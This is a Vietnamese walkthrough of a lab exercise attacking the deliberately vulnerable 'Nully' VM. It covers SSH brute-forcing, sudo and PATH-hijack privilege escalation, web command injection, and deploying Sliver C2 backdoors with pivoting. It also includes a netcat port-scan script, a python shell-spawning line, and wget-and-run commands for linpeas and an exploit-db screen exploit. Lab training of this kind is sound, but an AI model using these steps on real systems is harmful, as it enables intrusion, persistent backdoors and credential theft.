---
# System prepended metadata

title: Tấn công phòng thủ hệ thống

---

# Chuẩn bị

1. [ ] Máy tấn công Kali Linux
2. [ ] Down máy ảo tại [đây](https://drive.google.com/file/d/1uK5yGxdii7jZf4-UWzjIy6LgPzk1OcWU/view?usp=sharing)
3. [ ] Tải [Sliver](https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux) vào máy Kali để quản lý C2
4. [ ] Tải tool [này](https://github.com/haicenhacks/username-generator.git) về để tạo username thông qua tên

# Setup

1. [ ] Kiểm tra card mạng, địa chỉ IP máy Kali

    ![image](https://hackmd.io/_uploads/HkjxNfqG1g.png)

    Máy kali đang để NAT và có địa cỉ ip là **192.168.88.128**
    

2. [ ] Bật VMWare rồi chọn `File -> Open` để chạy máy ảo từ file `NullyCybersecurityCTF.zip` đã được tải về. 
3. [ ] Sau khi cài xong thì phải setup lại IP cho cùng dải với IP máy kali linux

    - Chỉnh card mạng cho máy ảo `Nully` là NAT
    - Lúc khởi động máy ảo `Nully` đồng thời nhấn `Shift` để vào chế độ GNU (Nếu không được thì chọn reset rồi làm lại)

    ![image](https://hackmd.io/_uploads/HystBMqzkg.png)
    
    - Chọn `Advanced options ... -> Enter`

    ![image](https://hackmd.io/_uploads/BkMASzqGke.png)

    - Chọn `E` để chỉnh sửa rồi sửa "ro recover nomodeset" -> "rw init=/bin/bash"
    
    ![image](https://hackmd.io/_uploads/B1Tewz5Mke.png)

    ![image](https://hackmd.io/_uploads/B1tvDfqM1x.png)

    - Nhấn `Ctrl + X` để lưu và load lại

    ![image](https://hackmd.io/_uploads/SJZhvfcGJx.png)

    - Sau khi load xong thì truy cập vào luôn máy ảo với acc root. Chạy lệnh `passwd` để đổi lại mật khẩu

    ![image](https://hackmd.io/_uploads/HJY8dfqzJl.png)

    - Sau đó chạy `exec /sbin/init` để khởi động lại hệ thống. Sau đó đăng nhập lại với tài khoản root và mật khẩu vừa đổi
    
    ![image](https://hackmd.io/_uploads/BkupOfqf1g.png)

    - Sử dụng nội dung file `/etc/netplan/00-installer-config.yaml` để cấu hình card mạng. Trong trường hợp này tên card mạng đang bị sai nên chúng ta sửa “enp0s3” thành “ens33”
    
    ![image](https://hackmd.io/_uploads/SJeBYfcG1e.png)

    ![image](https://hackmd.io/_uploads/ry2IYG9fye.png)

    - Sau đó chạy lệnh `netplan apply` để tự động nhận IP.
    - Chạy lệnh `ifconfig ens33`, nếu nhận IP cùng dải với máy Kali là Oke

    ![image](https://hackmd.io/_uploads/r1cDcMcG1e.png)

# Tấn công

## Rà quét hệ thống

1. [ ] Scan tìm địa chỉ IP máy Nully

    - Chạy lệnh `netdiscover -r 192.68.88.0/24 -i eth1`
    
    ![image](https://hackmd.io/_uploads/SypS2yjfJe.png)

    - Loại bỏ .1, .2 là máy thật và gateway, .254 là mạng quảng bá nên địa chỉ máy cần cần tấn công là **192.168.88.129**

2. [ ] Scan cổng mở trên máy Nully

    - Sử dụng Nmap để scan bằng lệnh `nmap -sC -sV -p- 192.168.88.129`

    ![image](https://hackmd.io/_uploads/rkSuTJsf1g.png)

    - Kết quả cho thấy hệ thống mở cổng: 80, 110, 2222, 8000 và 9000. Hệ thống có web nên cứ vào check web trước

    ![image](https://hackmd.io/_uploads/Syonp1ozyl.png)

    - Theo thông báo, không được phép tấn công cổng 80, 8000, 9000. => Còn mỗi 110 (mail) và 2222 (ssh) để tấn công. Hệ thống có 3 máy chủ là Mail, Web và Database.  Máy chủ mail mở ra ngoài nên tấn công máy chủ Mail trước

## Tấn công máy chủ Mail Server

1. [ ] Đăng nhập với thông tin đã cho ở web

    ![image](https://hackmd.io/_uploads/SJgaRyiGJx.png)

    - Sau khi sử dụng lệnh `LIST` thì thấy có 1 mail, thực hiện đọc bằng lệnh `RETR 1`

    ![image](https://hackmd.io/_uploads/rknykgjG1g.png)

    - Nội dung mail là người dùng có tên "Bob Smith" gửi thông báo về việc ông ấy quên mật khẩu và ông ấy chắc chắn mật khẩu ông ấy đơn giản => Brute force

2. [ ] Brute-force mật khẩu người dùng Bob Smith

    - Sử dụng công cụ `username-generator` để tạo danh sách username từ tên "Bob Smith"

    ![image](https://hackmd.io/_uploads/Sy0_klifJg.png)

    - Sử dụng `hydra` để brute-force mật khẩu với danh sách người dùng đã tạo được

    ![image](https://hackmd.io/_uploads/B1VaJljfye.png)

    - Phát hiện được tài khoản `bob / bobby1985`. Thực hiện ssh vào để kiểm tra

    ![image](https://hackmd.io/_uploads/SJc-lgifkg.png)

    => Kết quả SSH thành công
    
3. [ ] Leo root máy chủ

    - Kiểm tra quyền mà người dùng hiện tại có thể dùng bằng lệnh `sudo -l`

    ![image](https://hackmd.io/_uploads/rJrKlxoMkl.png)

    - Nhận thấy người dùng `bob` có thể thực thi tệp tin tệp `check.sh` với quyền của người dùng `my2user` mà không cần mật khẩu. Ngoài ra tệp `check.sh` thuộc sở hữu của `bob` và có quyền chỉnh sửa nên có thể ghi thêm vào file => Ghi thêm `/bin/bash` vào đầu file rồi chạy với quyền của người dùng `my2user` thì sẽ mở 1 bash mới với quyền của `my2user` 
    
    ![image](https://hackmd.io/_uploads/HJoU-lsGJe.png)

    ![image](https://hackmd.io/_uploads/ry0uWejzJe.png)

    - Leo qua tài khoản `my2user` thành công, tiếp tục check quyền bằng `sudo -l`

    ![image](https://hackmd.io/_uploads/B1jobeoG1l.png)

    - Kết quả cho thấy có thể chạy lệnh `zip` với quyền root mà không cần mật khẩu. Ở trong lệnh `zip` có options `--unzip-command` có thể chạy lệnh hệ thống với quyền của người chạy song song với quá trình zip file => Ý tưởng vẫn chèn bash vào options trên để mở 1 bash mới với quyền root

    ![image](https://hackmd.io/_uploads/SJGUzgjMkx.png)

    - Leo `root` thành công

    ![image](https://hackmd.io/_uploads/HJv_Mxizyx.png)

4. [ ] Gán backdoor vào máy chủ Mail Server

    - Mở terminal mới để chạy `sliver`

    ![image](https://hackmd.io/_uploads/S1HJQxjzke.png)

    - Mở port 9999 để lắng nghe shell từ máy chủ Mail server

    ![image](https://hackmd.io/_uploads/BJWGQliMkl.png)

    - Thực hiện gen file backdoor
    
    ![image](https://hackmd.io/_uploads/By9MSesG1x.png)


    - Tạo file thành công tại `/home/kali/`. Mở 1 terminal mới, sử dụng python3 để mở http server với mục đích tải file về máy chủ mail server

    ![image](https://hackmd.io/_uploads/rJTSVgoGkl.png)

    - Thực hiện tải file ở máy chủ Mailserver và chạy nó

    ![image](https://hackmd.io/_uploads/rktLBgsf1g.png)

    ![image](https://hackmd.io/_uploads/H1MOrlsGyg.png)

    - Tạo backdoor thành công


## Scan mạng nội bộ


1. [ ] Truy cập vào shell thông qua backdoor

    ![image](https://hackmd.io/_uploads/ryR0HxjGyg.png)

2. [ ] Cài công cụ `nc` để scan

    ![image](https://hackmd.io/_uploads/SJl-IxszJg.png)

3. [ ] Kiểm tra dải IP nội bộ

    ![image](https://hackmd.io/_uploads/SyF4Igiz1x.png)

    - Dải nội bộ là `172.17.0.0/16`

4. [ ] Copy script sau vào 1 file .sh rồi chạy scan

    ```bash
    #!/bin/bash

    # Kiểm tra xem Netcat đã được cài đặt chưa
    if ! command -v nc &> /dev/null; then
        echo "Netcat (nc) chưa được cài đặt. Vui lòng cài đặt trước khi chạy script."
        exit 1
    fi

    # Đầu vào: Dải IP và dải cổng cần quét
    read -p "Nhập dải IP cần quét (vd: 192.168.1.1-192.168.1.254): " ip_range
    read -p "Nhập dải cổng (vd: 1-1000): " port_range

    # Tách dải IP
    start_ip=$(echo $ip_range | cut -d '-' -f 1)
    end_ip=$(echo $ip_range | cut -d '-' -f 2)

    # Tách dải cổng
    start_port=$(echo $port_range | cut -d '-' -f 1)
    end_port=$(echo $port_range | cut -d '-' -f 2)

    # Kiểm tra đầu vào hợp lệ
    if [[ -z "$start_ip" || -z "$end_ip" || -z "$start_port" || -z "$end_port" ]]; then
        echo "Đầu vào không hợp lệ. Hãy nhập đầy đủ thông tin."
        exit 1
    fi

    # Hàm chuyển đổi IP sang số nguyên
    ip_to_int() {
        local ip=$1
        IFS=. read -r i1 i2 i3 i4 <<< "$ip"
        echo $(( (i1 << 24) + (i2 << 16) + (i3 << 8) + i4 ))
    }

    # Hàm chuyển đổi số nguyên sang IP
    int_to_ip() {
        local int=$1
        echo "$(( (int >> 24) & 255 )).$(( (int >> 16) & 255 )).$(( (int >> 8) & 255 )).$(( int & 255 ))"
    }

    # Chuyển đổi IP sang số
    start_ip_int=$(ip_to_int $start_ip)
    end_ip_int=$(ip_to_int $end_ip)

    # Bắt đầu quét
    echo "Bắt đầu quét dải IP từ $start_ip đến $end_ip và dải cổng từ $start_port đến $end_port..."
    echo "---------------------------------------------"

    for ip_int in $(seq $start_ip_int $end_ip_int); do
        current_ip=$(int_to_ip $ip_int)
        echo "Đang quét IP: $current_ip"
        for port in $(seq $start_port $end_port); do
            nc -zv -w 1 $current_ip $port 2>&1 | grep "succeeded" &
        done
    done

    wait
    echo "Hoàn thành quét."
    ```

    ![image](https://hackmd.io/_uploads/S1O8PxjGkl.png)

    - Dựa vào cổng mở có thể đoán .2 là portainer (ko tấn công), .3 (database), .5 (Web Server)



## Tấn công máy chủ Web Server

1. [ ] Port forwarding về local cho dễ attack

    ![image](https://hackmd.io/_uploads/Hyd-deszyl.png)

    - Sau khi port ward thì port web đang tự về cổng 8080 trên local, kiểm tra trên trình duyệt

    ![image](https://hackmd.io/_uploads/SyfE_gsMJl.png)

2. [ ] Scan tìm path ẩn

    ![image](https://hackmd.io/_uploads/rkLGFliz1e.png)

    ![image](https://hackmd.io/_uploads/rk77FlizJx.png)

    ![image](https://hackmd.io/_uploads/H1L4txoG1e.png)

    - Truy cập vào file `ping.php`

    ![image](https://hackmd.io/_uploads/HJE8FlsMJg.png)

    - Yêu cầu sử dụng tham số`host`
    
    ![image](https://hackmd.io/_uploads/H1wcYgszkx.png)

    - Trang web có chức năng kiểm tra `ping` đến một địa chỉ đc điền ở host

3. [ ] Khai thác lỗ hổng web

    ![image](https://hackmd.io/_uploads/BJtRKljzkx.png)

    - Trang web có lỗ hổng `Command Injection`

4. [ ] Gán backdoor để tiện sử dụng

    - Vì máy kali không kết nối trực tiếp đến máy chủ Web được nên phải pivot qua máy Mailserver đã chiếm được. Đầu tiên mở cổng trên máy mailserver để pivot

    ![image](https://hackmd.io/_uploads/SJ5_pgsMJe.png)

    - Với lệnh trên đã mở cổng 9898 để thực hiện pivot. Tạo backdoor để chạy trên máy Web Server với pivot qua cổng 9898 của máy Mailserver.
    
    ![image](https://hackmd.io/_uploads/HyVx0gjGyl.png)

    ![image](https://hackmd.io/_uploads/SkU5Axjz1x.png)

    - Đẩy file vừa tạo lên máy mail server

    ![image](https://hackmd.io/_uploads/B1jpCgjMJx.png)

    - Vào máy mail server mở http server để có thể tải về từ máy Web server

    ![image](https://hackmd.io/_uploads/SkqfkbiMkl.png)

    - Thực hiện tải về máy web server thông qua lỗ hổng web

    ![image](https://hackmd.io/_uploads/BkrBybifJe.png)

    ![image](https://hackmd.io/_uploads/SkswkZiz1g.png)

    - Sau khi tải về thì cấp quyền và chạy

    ![image](https://hackmd.io/_uploads/Hk49yWiz1e.png)

    ![image](https://hackmd.io/_uploads/BJyAkbiMkx.png)

    ![image](https://hackmd.io/_uploads/r1pHg-ofkl.png)

    - Kết quả tạo backdoor thành công

5. [ ] Leo root

    - Vào shell web server thông qua backdoor
    
    ![image](https://hackmd.io/_uploads/HyIYeWoz1x.png) 
    
    - Thử check quyền với `sudo -l` nhưng không được

    ![image](https://hackmd.io/_uploads/rkxTlWiG1e.png)

    - Đọc tệp tin `/etc/passwd` để xem thông tin người dùng khác

    ![image](https://hackmd.io/_uploads/SkLl-WiMkl.png)

    - Có 2 người dùng có thể đăng nhập là `oliver` và `oscar`. Sử dụng lệnh `type` để tìm kiếm những tệp tin thuộc sở hữu của 2 người dùng này

    ![image](https://hackmd.io/_uploads/HkJIbZoGJe.png)

    - Nhận thấy người dùng có id 1000 là `oscar` sở hữu python nên có thể dùng script sau để mở shell mới với người dùng oscar:

    ```python
    python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
    ```
    
    ![image](https://hackmd.io/_uploads/H1s6-ZiM1g.png)

    - Sau khi leo qua người dùng `oscar` thì tìm kiếm các tệp tin nhạy cảm

    ![image](https://hackmd.io/_uploads/HyVWGWifkx.png)

    - Phát hiện được password -> Đăng nhập thử

    ![image](https://hackmd.io/_uploads/Bkb4fbjGye.png)

    ![image](https://hackmd.io/_uploads/By-Lz-ifkx.png)

    - Người dùng oscar có chương trình current-date trả về thời gian hiện tại

    ![image](https://hackmd.io/_uploads/Hkz1X-szkl.png)

    - Nhận thấy chương trình có gọi hàm `date`. vì nó call đến date theo thứ tự trong $PATH nên ta đơn giản chỉ cần tạo prog date chứa /bin/bash là khi chạy current-date nó sẽ excute /bin/bash với quyền root và ta có thể leo lên root rồi.

    ![image](https://hackmd.io/_uploads/SyvQXboGkl.png)

    ![image](https://hackmd.io/_uploads/HJEr7-sfyx.png)

    - Leo `root` thành công

    ![image](https://hackmd.io/_uploads/B1Q3QbofJx.png)

## Tấn công máy chủ Database

1. [ ] Mở cổng 21 nên đăng nhập qua ftp mà không cần mật khẩu

    ![image](https://hackmd.io/_uploads/SktIHWoMyx.png)

    - Đăng nhập thành công, thử xem các file

    ![image](https://hackmd.io/_uploads/Hyd9rbifye.png)

    ![image](https://hackmd.io/_uploads/SkQiSWsGJe.png)

    - Tải các file trên kia về máy webserver

    ![image](https://hackmd.io/_uploads/ryrCrZiGJl.png)

    ![image](https://hackmd.io/_uploads/SJR18bifkx.png)

    - Kéo về máy thật

    ![image](https://hackmd.io/_uploads/ryJLIbsfke.png)

    ![image](https://hackmd.io/_uploads/HktDUZsMye.png)

2. [ ] Crack mật khẩu file zip
    - Mở ra thì thấy file txt ko có gì hay và file zip bị khóa

    ![image](https://hackmd.io/_uploads/SkXqU-ifJg.png)

    
    - Sử dụng công cụ `zip2john` để lấy mật khẩu dạng mã hóa và sử dụng `john` để crack

    ![image](https://hackmd.io/_uploads/HJOivZsG1e.png)

    - Crack được pass là `1234567890`, giải nén để đọc thông tin trong file zip

    ![image](https://hackmd.io/_uploads/r1cy_ZjGkl.png)

    - Kết quả cho ra 1 file `creds.txt` và trong đó có tài khoản người dùng, thử login

    ![image](https://hackmd.io/_uploads/B1BFuWsMyl.png)

    - Đăng nhập thành công

3. [ ] Leo root

    - thử mấy trò leo root như 2 máy đầu nhưng không đc nên sẽ tải `linpeas` để quét

    ```
    wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
    chmod +x linpeas_linux_amd64
    ./linpeas_linux_amd64
    ```
    
    ![image](https://hackmd.io/_uploads/r1UhYWoz1g.png)

    - Dính khá nhiều CVE nhưng thầy bảo ko khai thác kernel nên bỏ qua

    - Tìm được Unknown SUID binary của screen-4.5.0

    ![image](https://hackmd.io/_uploads/Hy4DsZiGkx.png)
    
    - Search tìm được script exploit https://www.exploit-db.com/raw/41154

    ![image](https://hackmd.io/_uploads/BySMJMizkl.png)

    - Copy về chạy là lên root đc

    ![image](https://hackmd.io/_uploads/rkNNkzoMyg.png)

